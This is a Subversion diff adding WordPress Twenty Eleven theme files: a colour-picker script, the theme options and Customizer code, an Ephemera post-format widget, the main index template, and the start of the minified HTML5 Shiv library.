+		$('#link-color-example').css('background-color', a);
+	};
+
+	$(document).ready( function() {
+		$('#default-color').wrapInner('<a href="#" />');
+
+		farbtastic = $.farbtastic('#colorPickerDiv', pickColor);
+
+		pickColor( $('#link-color').val() );
+
+		$('.pickcolor').click( function(e) {
+			$('#colorPickerDiv').show();
+			e.preventDefault();
+		});
+
+		$('#link-color').keyup( function() {
+			var a = $('#link-color').val(),
+				b = a;
+
+			a = a.replace(/[^a-fA-F0-9]/, '');
+			if ( '#' + a !== b )
+				$('#link-color').val(a);
+			if ( a.length === 3 || a.length === 6 )
+				pickColor( '#' + a );
+		});
+
+		$(document).mousedown( function() {
+			$('#colorPickerDiv').hide();
+		});
+
+		$('#default-color a').click( function(e) {
+			pickColor( '#' + this.innerHTML.replace(/[^a-fA-F0-9]/, '') );
+			e.preventDefault();
+		});
+
+		$('.image-radio-option.color-scheme input:radio').change( function() {
+			var currentDefault = $('#default-color a'),
+				newDefault = $(this).next().val();
+
+			if ( $('#link-color').val() == currentDefault.text() )
+				pickColor( newDefault );
+
+			currentDefault.text( newDefault );
+		});
+	});
+})(jQuery);
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/theme-options.php	(revision 33402)
@@ -0,0 +1,586 @@
+<?php
+/**
+ * Twenty Eleven Theme Options
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+/**
+ * Properly enqueue styles and scripts for our theme options page.
+ *
+ * This function is attached to the admin_enqueue_scripts action hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $hook_suffix An admin page's hook suffix.
+ */
+function twentyeleven_admin_enqueue_scripts( $hook_suffix ) {
+	wp_enqueue_style( 'twentyeleven-theme-options', get_template_directory_uri() . '/inc/theme-options.css', false, '2011-04-28' );
+	wp_enqueue_script( 'twentyeleven-theme-options', get_template_directory_uri() . '/inc/theme-options.js', array( 'farbtastic' ), '2011-06-10' );
+	wp_enqueue_style( 'farbtastic' );
+}
+add_action( 'admin_print_styles-appearance_page_theme_options', 'twentyeleven_admin_enqueue_scripts' );
+
+/**
+ * Register the form setting for our twentyeleven_options array.
+ *
+ * This function is attached to the admin_init action hook.
+ *
+ * This call to register_setting() registers a validation callback, twentyeleven_theme_options_validate(),
+ * which is used when the option is saved, to ensure that our option values are complete, properly
+ * formatted, and safe.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_theme_options_init() {
+
+	register_setting(
+		'twentyeleven_options',       // Options group, see settings_fields() call in twentyeleven_theme_options_render_page()
+		'twentyeleven_theme_options', // Database option, see twentyeleven_get_theme_options()
+		'twentyeleven_theme_options_validate' // The sanitization callback, see twentyeleven_theme_options_validate()
+	);
+
+	// Register our settings field group
+	add_settings_section(
+		'general', // Unique identifier for the settings section
+		'', // Section title (we don't want one)
+		'__return_false', // Section callback (we don't want anything)
+		'theme_options' // Menu slug, used to uniquely identify the page; see twentyeleven_theme_options_add_page()
+	);
+
+	// Register our individual settings fields
+	add_settings_field(
+		'color_scheme',                             // Unique identifier for the field for this section
+		__( 'Color Scheme', 'twentyeleven' ),       // Setting field label
+		'twentyeleven_settings_field_color_scheme', // Function that renders the settings field
+		'theme_options',                            // Menu slug, used to uniquely identify the page; see twentyeleven_theme_options_add_page()
+		'general'                                   // Settings section. Same as the first argument in the add_settings_section() above
+	);
+
+	add_settings_field( 'link_color', __( 'Link Color',     'twentyeleven' ), 'twentyeleven_settings_field_link_color', 'theme_options', 'general' );
+	add_settings_field( 'layout',     __( 'Default Layout', 'twentyeleven' ), 'twentyeleven_settings_field_layout',     'theme_options', 'general' );
+}
+add_action( 'admin_init', 'twentyeleven_theme_options_init' );
+
+/**
+ * Change the capability required to save the 'twentyeleven_options' options group.
+ *
+ * @see twentyeleven_theme_options_init()     First parameter to register_setting() is the name of the options group.
+ * @see twentyeleven_theme_options_add_page() The edit_theme_options capability is used for viewing the page.
+ *
+ * By default, the options groups for all registered settings require the manage_options capability.
+ * This filter is required to change our theme options page to edit_theme_options instead.
+ * By default, only administrators have either of these capabilities, but the desire here is
+ * to allow for finer-grained control for roles and users.
+ *
+ * @param string $capability The capability used for the page, which is manage_options by default.
+ * @return string The capability to actually use.
+ */
+function twentyeleven_option_page_capability( $capability ) {
+	return 'edit_theme_options';
+}
+add_filter( 'option_page_capability_twentyeleven_options', 'twentyeleven_option_page_capability' );
+
+/**
+ * Add a theme options page to the admin menu, including some help documentation.
+ *
+ * This function is attached to the admin_menu action hook.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_theme_options_add_page() {
+	$theme_page = add_theme_page(
+		__( 'Theme Options', 'twentyeleven' ),   // Name of page
+		__( 'Theme Options', 'twentyeleven' ),   // Label in menu
+		'edit_theme_options',                    // Capability required
+		'theme_options',                         // Menu slug, used to uniquely identify the page
+		'twentyeleven_theme_options_render_page' // Function that renders the options page
+	);
+
+	if ( ! $theme_page )
+		return;
+
+	add_action( "load-$theme_page", 'twentyeleven_theme_options_help' );
+}
+add_action( 'admin_menu', 'twentyeleven_theme_options_add_page' );
+
+function twentyeleven_theme_options_help() {
+
+	$help = '<p>' . __( 'Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:', 'twentyeleven' ) . '</p>' .
+			'<ol>' .
+				'<li>' . __( '<strong>Color Scheme</strong>: You can choose a color palette of "Light" (light background with dark text) or "Dark" (dark background with light text) for your site.', 'twentyeleven' ) . '</li>' .
+				'<li>' . __( '<strong>Link Color</strong>: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the "Select a Color" button to pick from a color wheel.', 'twentyeleven' ) . '</li>' .
+				'<li>' . __( '<strong>Default Layout</strong>: You can choose if you want your site&#8217;s default layout to have a sidebar on the left, the right, or not at all.', 'twentyeleven' ) . '</li>' .
+			'</ol>' .
+			'<p>' . __( 'Remember to click "Save Changes" to save any changes you have made to the theme options.', 'twentyeleven' ) . '</p>';
+
+	$sidebar = '<p><strong>' . __( 'For more information:', 'twentyeleven' ) . '</strong></p>' .
+		'<p>' . __( '<a href="http://codex.wordpress.org/Appearance_Theme_Options_Screen" target="_blank">Documentation on Theme Options</a>', 'twentyeleven' ) . '</p>' .
+		'<p>' . __( '<a href="http://wordpress.org/support/" target="_blank">Support Forums</a>', 'twentyeleven' ) . '</p>';
+
+	$screen = get_current_screen();
+
+	if ( method_exists( $screen, 'add_help_tab' ) ) {
+		// WordPress 3.3.0
+		$screen->add_help_tab( array(
+			'title' => __( 'Overview', 'twentyeleven' ),
+			'id' => 'theme-options-help',
+			'content' => $help,
+			)
+		);
+
+		$screen->set_help_sidebar( $sidebar );
+	} else {
+		// WordPress 3.2.0
+		add_contextual_help( $screen, $help . $sidebar );
+	}
+}
+
+/**
+ * Return an array of color schemes registered for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_color_schemes() {
+	$color_scheme_options = array(
+		'light' => array(
+			'value' => 'light',
+			'label' => __( 'Light', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/light.png',
+			'default_link_color' => '#1b8be0',
+		),
+		'dark' => array(
+			'value' => 'dark',
+			'label' => __( 'Dark', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/dark.png',
+			'default_link_color' => '#e4741f',
+		),
+	);
+
+	/**
+	 * Filter the Twenty Eleven color scheme options.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $color_scheme_options An associative array of color scheme options.
+	 */
+	return apply_filters( 'twentyeleven_color_schemes', $color_scheme_options );
+}
+
+/**
+ * Return an array of layout options registered for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_layouts() {
+	$layout_options = array(
+		'content-sidebar' => array(
+			'value' => 'content-sidebar',
+			'label' => __( 'Content on left', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/content-sidebar.png',
+		),
+		'sidebar-content' => array(
+			'value' => 'sidebar-content',
+			'label' => __( 'Content on right', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/sidebar-content.png',
+		),
+		'content' => array(
+			'value' => 'content',
+			'label' => __( 'One-column, no sidebar', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/content.png',
+		),
+	);
+
+	/**
+	 * Filter the Twenty Eleven layout options.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $layout_options An associative array of layout options.
+	 */
+	return apply_filters( 'twentyeleven_layouts', $layout_options );
+}
+
+/**
+ * Return the default options for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @return array An array of default theme options.
+ */
+function twentyeleven_get_default_theme_options() {
+	$default_theme_options = array(
+		'color_scheme' => 'light',
+		'link_color'   => twentyeleven_get_default_link_color( 'light' ),
+		'theme_layout' => 'content-sidebar',
+	);
+
+	if ( is_rtl() )
+ 		$default_theme_options['theme_layout'] = 'sidebar-content';
+
+	/**
+	 * Filter the Twenty Eleven default options.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $default_theme_options An array of default theme options.
+	 */
+	return apply_filters( 'twentyeleven_default_theme_options', $default_theme_options );
+}
+
+/**
+ * Return the default link color for Twenty Eleven, based on color scheme.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $color_scheme Optional. Color scheme.
+ *                             Default null (or the active color scheme).
+ * @return string The default link color.
+*/
+function twentyeleven_get_default_link_color( $color_scheme = null ) {
+	if ( null === $color_scheme ) {
+		$options = twentyeleven_get_theme_options();
+		$color_scheme = $options['color_scheme'];
+	}
+
+	$color_schemes = twentyeleven_color_schemes();
+	if ( ! isset( $color_schemes[ $color_scheme ] ) )
+		return false;
+
+	return $color_schemes[ $color_scheme ]['default_link_color'];
+}
+
+/**
+ * Return the options array for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_get_theme_options() {
+	return get_option( 'twentyeleven_theme_options', twentyeleven_get_default_theme_options() );
+}
+
+/**
+ * Render the Color Scheme setting field.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_settings_field_color_scheme() {
+	$options = twentyeleven_get_theme_options();
+
+	foreach ( twentyeleven_color_schemes() as $scheme ) {
+	?>
+	<div class="layout image-radio-option color-scheme">
+	<label class="description">
+		<input type="radio" name="twentyeleven_theme_options[color_scheme]" value="<?php echo esc_attr( $scheme['value'] ); ?>" <?php checked( $options['color_scheme'], $scheme['value'] ); ?> />
+		<input type="hidden" id="default-color-<?php echo esc_attr( $scheme['value'] ); ?>" value="<?php echo esc_attr( $scheme['default_link_color'] ); ?>" />
+		<span>
+			<img src="<?php echo esc_url( $scheme['thumbnail'] ); ?>" width="136" height="122" alt="" />
+			<?php echo $scheme['label']; ?>
+		</span>
+	</label>
+	</div>
+	<?php
+	}
+}
+
+/**
+ * Render the Link Color setting field.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_settings_field_link_color() {
+	$options = twentyeleven_get_theme_options();
+	?>
+	<input type="text" name="twentyeleven_theme_options[link_color]" id="link-color" value="<?php echo esc_attr( $options['link_color'] ); ?>" />
+	<a href="#" class="pickcolor hide-if-no-js" id="link-color-example"></a>
+	<input type="button" class="pickcolor button hide-if-no-js" value="<?php esc_attr_e( 'Select a Color', 'twentyeleven' ); ?>" />
+	<div id="colorPickerDiv" style="z-index: 100; background:#eee; border:1px solid #ccc; position:absolute; display:none;"></div>
+	<br />
+	<span><?php printf( __( 'Default color: %s', 'twentyeleven' ), '<span id="default-color">' . twentyeleven_get_default_link_color( $options['color_scheme'] ) . '</span>' ); ?></span>
+	<?php
+}
+
+/**
+ * Render the Layout setting field.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_settings_field_layout() {
+	$options = twentyeleven_get_theme_options();
+	foreach ( twentyeleven_layouts() as $layout ) {
+		?>
+		<div class="layout image-radio-option theme-layout">
+		<label class="description">
+			<input type="radio" name="twentyeleven_theme_options[theme_layout]" value="<?php echo esc_attr( $layout['value'] ); ?>" <?php checked( $options['theme_layout'], $layout['value'] ); ?> />
+			<span>
+				<img src="<?php echo esc_url( $layout['thumbnail'] ); ?>" width="136" height="122" alt="" />
+				<?php echo $layout['label']; ?>
+			</span>
+		</label>
+		</div>
+		<?php
+	}
+}
+
+/**
+ * Render the theme options page for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.2
+ */
+function twentyeleven_theme_options_render_page() {
+	?>
+	<div class="wrap">
+		<?php screen_icon(); ?>
+		<?php $theme_name = function_exists( 'wp_get_theme' ) ? wp_get_theme() : get_current_theme(); ?>
+		<h2><?php printf( __( '%s Theme Options', 'twentyeleven' ), $theme_name ); ?></h2>
+		<?php settings_errors(); ?>
+
+		<form method="post" action="options.php">
+			<?php
+				settings_fields( 'twentyeleven_options' );
+				do_settings_sections( 'theme_options' );
+				submit_button();
+			?>
+		</form>
+	</div>
+	<?php
+}
+
+/**
+ * Sanitize and validate form input.
+ *
+ * Accepts an array, return a sanitized array.
+ *
+ * @see twentyeleven_theme_options_init()
+ * @todo set up Reset Options action
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $input An array of form input.
+ */
+function twentyeleven_theme_options_validate( $input ) {
+	$output = $defaults = twentyeleven_get_default_theme_options();
+
+	// Color scheme must be in our array of color scheme options
+	if ( isset( $input['color_scheme'] ) && array_key_exists( $input['color_scheme'], twentyeleven_color_schemes() ) )
+		$output['color_scheme'] = $input['color_scheme'];
+
+	// Our defaults for the link color may have changed, based on the color scheme.
+	$output['link_color'] = $defaults['link_color'] = twentyeleven_get_default_link_color( $output['color_scheme'] );
+
+	// Link color must be 3 or 6 hexadecimal characters
+	if ( isset( $input['link_color'] ) && preg_match( '/^#?([a-f0-9]{3}){1,2}$/i', $input['link_color'] ) )
+		$output['link_color'] = '#' . strtolower( ltrim( $input['link_color'], '#' ) );
+
+	// Theme layout must be in our array of theme layout options
+	if ( isset( $input['theme_layout'] ) && array_key_exists( $input['theme_layout'], twentyeleven_layouts() ) )
+		$output['theme_layout'] = $input['theme_layout'];
+
+	/**
+	 * Filter the Twenty Eleven sanitized form input array.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $output   An array of sanitized form output.
+	 * @param array $input    An array of un-sanitized form input.
+	 * @param array $defaults An array of default theme options.
+	 */
+	return apply_filters( 'twentyeleven_theme_options_validate', $output, $input, $defaults );
+}
+
+/**
+ * Enqueue the styles for the current color scheme.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_enqueue_color_scheme() {
+	$options = twentyeleven_get_theme_options();
+	$color_scheme = $options['color_scheme'];
+
+	if ( 'dark' == $color_scheme )
+		wp_enqueue_style( 'dark', get_template_directory_uri() . '/colors/dark.css', array(), null );
+
+	/**
+	 * Fires after the styles for the Twenty Eleven color scheme are enqueued.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param string $color_scheme The color scheme.
+	 */
+	do_action( 'twentyeleven_enqueue_color_scheme', $color_scheme );
+}
+add_action( 'wp_enqueue_scripts', 'twentyeleven_enqueue_color_scheme' );
+
+/**
+ * Add a style block to the theme for the current link color.
+ *
+ * This function is attached to the wp_head action hook.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_print_link_color_style() {
+	$options = twentyeleven_get_theme_options();
+	$link_color = $options['link_color'];
+
+	$default_options = twentyeleven_get_default_theme_options();
+
+	// Don't do anything if the current link color is the default.
+	if ( $default_options['link_color'] == $link_color )
+		return;
+?>
+	<style>
+		/* Link color */
+		a,
+		#site-title a:focus,
+		#site-title a:hover,
+		#site-title a:active,
+		.entry-title a:hover,
+		.entry-title a:focus,
+		.entry-title a:active,
+		.widget_twentyeleven_ephemera .comments-link a:hover,
+		section.recent-posts .other-recent-posts a[rel="bookmark"]:hover,
+		section.recent-posts .other-recent-posts .comments-link a:hover,
+		.format-image footer.entry-meta a:hover,
+		#site-generator a:hover {
+			color: <?php echo $link_color; ?>;
+		}
+		section.recent-posts .other-recent-posts .comments-link a:hover {
+			border-color: <?php echo $link_color; ?>;
+		}
+		article.feature-image.small .entry-summary p a:hover,
+		.entry-header .comments-link a:hover,
+		.entry-header .comments-link a:focus,
+		.entry-header .comments-link a:active,
+		.feature-slider a.active {
+			background-color: <?php echo $link_color; ?>;
+		}
+	</style>
+<?php
+}
+add_action( 'wp_head', 'twentyeleven_print_link_color_style' );
+
+/**
+ * Add Twenty Eleven layout classes to the array of body classes.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $existing_classes An array of existing body classes.
+ */
+function twentyeleven_layout_classes( $existing_classes ) {
+	$options = twentyeleven_get_theme_options();
+	$current_layout = $options['theme_layout'];
+
+	if ( in_array( $current_layout, array( 'content-sidebar', 'sidebar-content' ) ) )
+		$classes = array( 'two-column' );
+	else
+		$classes = array( 'one-column' );
+
+	if ( 'content-sidebar' == $current_layout )
+		$classes[] = 'right-sidebar';
+	elseif ( 'sidebar-content' == $current_layout )
+		$classes[] = 'left-sidebar';
+	else
+		$classes[] = $current_layout;
+
+	/**
+	 * Filter the Twenty Eleven layout body classes.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array  $classes        An array of body classes.
+	 * @param string $current_layout The current theme layout.
+	 */
+	$classes = apply_filters( 'twentyeleven_layout_classes', $classes, $current_layout );
+
+	return array_merge( $existing_classes, $classes );
+}
+add_filter( 'body_class', 'twentyeleven_layout_classes' );
+
+/**
+ * Implements Twenty Eleven theme options into Customizer
+ *
+ * @since Twenty Eleven 1.3
+ *
+ * @param object $wp_customize Customizer object.
+ */
+function twentyeleven_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage';
+
+	$options  = twentyeleven_get_theme_options();
+	$defaults = twentyeleven_get_default_theme_options();
+
+	$wp_customize->add_setting( 'twentyeleven_theme_options[color_scheme]', array(
+		'default'    => $defaults['color_scheme'],
+		'type'       => 'option',
+		'capability' => 'edit_theme_options',
+	) );
+
+	$schemes = twentyeleven_color_schemes();
+	$choices = array();
+	foreach ( $schemes as $scheme ) {
+		$choices[ $scheme['value'] ] = $scheme['label'];
+	}
+
+	$wp_customize->add_control( 'twentyeleven_color_scheme', array(
+		'label'    => __( 'Color Scheme', 'twentyeleven' ),
+		'section'  => 'colors',
+		'settings' => 'twentyeleven_theme_options[color_scheme]',
+		'type'     => 'radio',
+		'choices'  => $choices,
+		'priority' => 5,
+	) );
+
+	// Link Color (added to Color Scheme section in Customizer)
+	$wp_customize->add_setting( 'twentyeleven_theme_options[link_color]', array(
+		'default'           => twentyeleven_get_default_link_color( $options['color_scheme'] ),
+		'type'              => 'option',
+		'sanitize_callback' => 'sanitize_hex_color',
+		'capability'        => 'edit_theme_options',
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'link_color', array(
+		'label'    => __( 'Link Color', 'twentyeleven' ),
+		'section'  => 'colors',
+		'settings' => 'twentyeleven_theme_options[link_color]',
+	) ) );
+
+	// Default Layout
+	$wp_customize->add_section( 'twentyeleven_layout', array(
+		'title'    => __( 'Layout', 'twentyeleven' ),
+		'priority' => 50,
+	) );
+
+	$wp_customize->add_setting( 'twentyeleven_theme_options[theme_layout]', array(
+		'type'              => 'option',
+		'default'           => $defaults['theme_layout'],
+		'sanitize_callback' => 'sanitize_key',
+	) );
+
+	$layouts = twentyeleven_layouts();
+	$choices = array();
+	foreach ( $layouts as $layout ) {
+		$choices[$layout['value']] = $layout['label'];
+	}
+
+	$wp_customize->add_control( 'twentyeleven_theme_options[theme_layout]', array(
+		'section'    => 'twentyeleven_layout',
+		'type'       => 'radio',
+		'choices'    => $choices,
+	) );
+}
+add_action( 'customize_register', 'twentyeleven_customize_register' );
+
+/**
+ * Bind JS handlers to make Customizer preview reload changes asynchronously.
+ *
+ * Used with blogname and blogdescription.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_customize_preview_js() {
+	wp_enqueue_script( 'twentyeleven-customizer', get_template_directory_uri() . '/inc/theme-customizer.js', array( 'customize-preview' ), '20120523', true );
+}
+add_action( 'customize_preview_init', 'twentyeleven_customize_preview_js' );
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/widgets.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/widgets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/inc/widgets.php	(revision 33402)
@@ -0,0 +1,174 @@
+<?php
+/**
+ * Widget For displaying post format posts
+ *
+ * Handles displaying Aside, Link, Status, and Quote Posts available with Twenty Eleven.
+ *
+ * @link http://codex.wordpress.org/Widgets_API#Developing_Widgets
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+class Twenty_Eleven_Ephemera_Widget extends WP_Widget {
+
+	/**
+	 * Constructor
+	 *
+	 * @since Twenty Eleven 1.0
+	 **/
+	function Twenty_Eleven_Ephemera_Widget() {
+		$widget_ops = array( 'classname' => 'widget_twentyeleven_ephemera', 'description' => __( 'Use this widget to list your recent Aside, Status, Quote, and Link posts', 'twentyeleven' ) );
+		$this->WP_Widget( 'widget_twentyeleven_ephemera', __( 'Twenty Eleven Ephemera', 'twentyeleven' ), $widget_ops );
+		$this->alt_option_name = 'widget_twentyeleven_ephemera';
+
+		add_action( 'save_post', array(&$this, 'flush_widget_cache' ) );
+		add_action( 'deleted_post', array(&$this, 'flush_widget_cache' ) );
+		add_action( 'switch_theme', array(&$this, 'flush_widget_cache' ) );
+	}
+
+	/**
+	 * Outputs the HTML for this widget.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $args     An array of standard parameters for widgets in this theme.
+	 * @param array $instance An array of settings for this widget instance.
+	 **/
+	function widget( $args, $instance ) {
+		$cache = wp_cache_get( 'widget_twentyeleven_ephemera', 'widget' );
+
+		if ( !is_array( $cache ) )
+			$cache = array();
+
+		if ( ! isset( $args['widget_id'] ) )
+			$args['widget_id'] = null;
+
+		if ( isset( $cache[$args['widget_id']] ) ) {
+			echo $cache[$args['widget_id']];
+			return;
+		}
+
+		ob_start();
+		extract( $args, EXTR_SKIP );
+
+		/** This filter is documented in wp-includes/default-widgets.php */
+		$title = apply_filters( 'widget_title', empty( $instance['title'] ) ? __( 'Ephemera', 'twentyeleven' ) : $instance['title'], $instance, $this->id_base);
+
+		if ( ! isset( $instance['number'] ) )
+			$instance['number'] = '10';
+
+		if ( ! $number = absint( $instance['number'] ) )
+ 			$number = 10;
+
+		$ephemera_args = array(
+			'order' => 'DESC',
+			'posts_per_page' => $number,
+			'no_found_rows' => true,
+			'post_status' => 'publish',
+			'post__not_in' => get_option( 'sticky_posts' ),
+			'tax_query' => array(
+				array(
+					'taxonomy' => 'post_format',
+					'terms' => array( 'post-format-aside', 'post-format-link', 'post-format-status', 'post-format-quote' ),
+					'field' => 'slug',
+					'operator' => 'IN',
+				),
+			),
+		);
+		$ephemera = new WP_Query( $ephemera_args );
+
+		if ( $ephemera->have_posts() ) :
+			echo $before_widget;
+			echo $before_title;
+			echo $title; // Can set this with a widget option, or omit altogether
+			echo $after_title;
+			?>
+			<ol>
+			<?php while ( $ephemera->have_posts() ) : $ephemera->the_post(); ?>
+
+				<?php if ( 'link' != get_post_format() ) : ?>
+
+				<li class="widget-entry-title">
+					<a href="<?php echo esc_url( get_permalink() ); ?>" rel="bookmark"><?php the_title(); ?></a>
+					<span class="comments-link">
+						<?php comments_popup_link( __( '0 <span class="reply">comments &rarr;</span>', 'twentyeleven' ), __( '1 <span class="reply">comment &rarr;</span>', 'twentyeleven' ), __( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ) ); ?>
+					</span>
+				</li>
+
+				<?php else : ?>
+
+				<li class="widget-entry-title">
+					<a href="<?php echo esc_url( twentyeleven_get_first_url() ); ?>" rel="bookmark"><?php the_title(); ?>&nbsp;<span>&rarr;</span></a>
+					<span class="comments-link">
+						<?php comments_popup_link( __( '0 <span class="reply">comments &rarr;</span>', 'twentyeleven' ), __( '1 <span class="reply">comment &rarr;</span>', 'twentyeleven' ), __( '% <span class="reply">comments &rarr;</span>', 'twentyeleven' ) ); ?>
+					</span>
+				</li>
+
+				<?php endif; ?>
+
+			<?php endwhile; ?>
+			</ol>
+			<?php
+
+			echo $after_widget;
+
+			// Reset the post globals as this query will have stomped on it
+			wp_reset_postdata();
+
+		// end check for ephemeral posts
+		endif;
+
+		$cache[$args['widget_id']] = ob_get_flush();
+		wp_cache_set( 'widget_twentyeleven_ephemera', $cache, 'widget' );
+	}
+
+	/**
+	 * Update widget settings.
+	 *
+	 * Deals with the settings when they are saved by the admin. Here is
+	 * where any validation should be dealt with.
+	 *
+	 * @since Twenty Eleven 1.0
+	 **/
+	function update( $new_instance, $old_instance ) {
+		$instance = $old_instance;
+		$instance['title'] = strip_tags( $new_instance['title'] );
+		$instance['number'] = (int) $new_instance['number'];
+		$this->flush_widget_cache();
+
+		$alloptions = wp_cache_get( 'alloptions', 'options' );
+		if ( isset( $alloptions['widget_twentyeleven_ephemera'] ) )
+			delete_option( 'widget_twentyeleven_ephemera' );
+
+		return $instance;
+	}
+
+	/**
+	 * Flush widget cache.
+	 *
+	 * @since Twenty Eleven 1.0
+	 */
+	function flush_widget_cache() {
+		wp_cache_delete( 'widget_twentyeleven_ephemera', 'widget' );
+	}
+
+	/**
+	 * Set up the widget form.
+	 *
+	 * Displays the form for this widget on the Widgets page of the WP Admin area.
+	 *
+	 * @since Twenty Eleven 1.0
+	 **/
+	function form( $instance ) {
+		$title = isset( $instance['title']) ? esc_attr( $instance['title'] ) : '';
+		$number = isset( $instance['number'] ) ? absint( $instance['number'] ) : 10;
+?>
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php _e( 'Title:', 'twentyeleven' ); ?></label>
+			<input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" /></p>
+
+			<p><label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php _e( 'Number of posts to show:', 'twentyeleven' ); ?></label>
+			<input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>" name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>" type="text" value="<?php echo esc_attr( $number ); ?>" size="3" /></p>
+		<?php
+	}
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/index.php	(revision 33402)
@@ -0,0 +1,52 @@
+<?php
+/**
+ * Main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ * Learn more: http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ */
+
+get_header(); ?>
+
+		<div id="primary">
+			<div id="content" role="main">
+
+			<?php if ( have_posts() ) : ?>
+
+				<?php twentyeleven_content_nav( 'nav-above' ); ?>
+
+				<?php /* Start the Loop */ ?>
+				<?php while ( have_posts() ) : the_post(); ?>
+
+					<?php get_template_part( 'content', get_post_format() ); ?>
+
+				<?php endwhile; ?>
+
+				<?php twentyeleven_content_nav( 'nav-below' ); ?>
+
+			<?php else : ?>
+
+				<article id="post-0" class="post no-results not-found">
+					<header class="entry-header">
+						<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentyeleven' ); ?></h1>
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+						<p><?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyeleven' ); ?></p>
+						<?php get_search_form(); ?>
+					</div><!-- .entry-content -->
+				</article><!-- #post-0 -->
+
+			<?php endif; ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/js/html5.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/js/html5.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/js/html5.js	(revision 33402)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
